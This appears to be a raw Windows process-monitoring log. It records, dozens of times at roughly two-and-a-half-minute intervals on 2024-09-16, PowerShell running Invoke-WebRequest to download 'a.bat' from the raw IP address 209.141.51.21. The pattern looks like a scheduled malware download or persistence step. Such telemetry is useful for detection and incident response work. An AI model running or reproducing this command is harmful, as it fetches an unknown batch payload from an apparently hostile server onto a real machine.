C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:06:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:09:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:11:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:14:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:16:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:19:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:21:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:24:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:26:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:29:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:31:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:34:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:36:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:39:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:41:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:44:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:46:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:49:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:51:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:54:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:56:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 06:59:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:01:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:04:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:06:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:09:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:11:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:14:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:16:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:19:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:21:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:24:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:26:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:29:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:31:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:34:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:36:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:39:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:41:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:44:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:46:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:49:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:51:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:54:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:56:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 07:59:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:01:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:04:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:06:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:09:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:11:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:14:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:16:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:19:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:21:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:24:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:27:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:29:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:32:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:34:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:37:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:39:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:42:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:44:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:47:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:49:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:52:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:54:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:57:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 08:59:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:02:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:04:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:07:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:09:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:12:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:14:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:17:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:19:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:22:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:24:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:27:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:29:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:32:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:34:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:37:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:39:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:42:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:44:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:47:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:49:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:52:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:54:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:57:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 09:59:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:02:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:04:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:07:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:09:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:12:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:14:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:17:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:19:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:22:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:24:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:27:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:29:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:32:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:34:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:37:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:39:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:42:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:44:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:47:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:49:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:52:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:54:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:57:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 10:59:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:02:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:04:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:07:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:09:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:12:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:14:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:17:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:19:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:22:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:24:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:27:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:29:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:32:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:34:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:37:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:39:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-16 11:42:16 NOTIFY: PROCESS 